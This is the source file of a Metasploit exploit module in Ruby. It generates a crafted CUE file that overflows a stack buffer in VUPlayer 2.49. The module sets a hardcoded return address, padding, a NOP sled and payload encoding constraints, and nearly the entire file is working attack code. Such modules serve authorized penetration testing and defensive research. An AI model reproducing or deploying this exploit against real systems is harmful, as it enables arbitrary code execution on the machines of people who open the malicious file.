metasploit-framework/modules/exploits/windows/fileformat/vuplayer_cue.rb

76 lines
1.9 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'VUPlayer CUE Buffer Overflow',
'Description' => %q{
This module exploits a stack over flow in VUPlayer <= 2.49. When
the application is used to open a specially crafted cue file, an buffer is overwritten allowing
for the execution of arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'BID', '33960' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'VUPlayer 2.49', { 'Ret' => 0x1010539f } ],
],
'Privileged' => false,
'DisclosureDate' => 'Aug 18 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.cue']),
], self.class)
end
def exploit
sploit = rand_text_alpha_upper(1012)
sploit << [target.ret].pack('V')
sploit << "\x90" * 12
sploit << payload.encoded
cue = "FILE ""\""
cue << sploit
cue << ".BIN""\"" + " BINARY\r\n"
cue << "TRACK 01 MODE1/22352\r\n"
cue << "INDEX 01 00:00:00\r\n"
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(cue)
end
end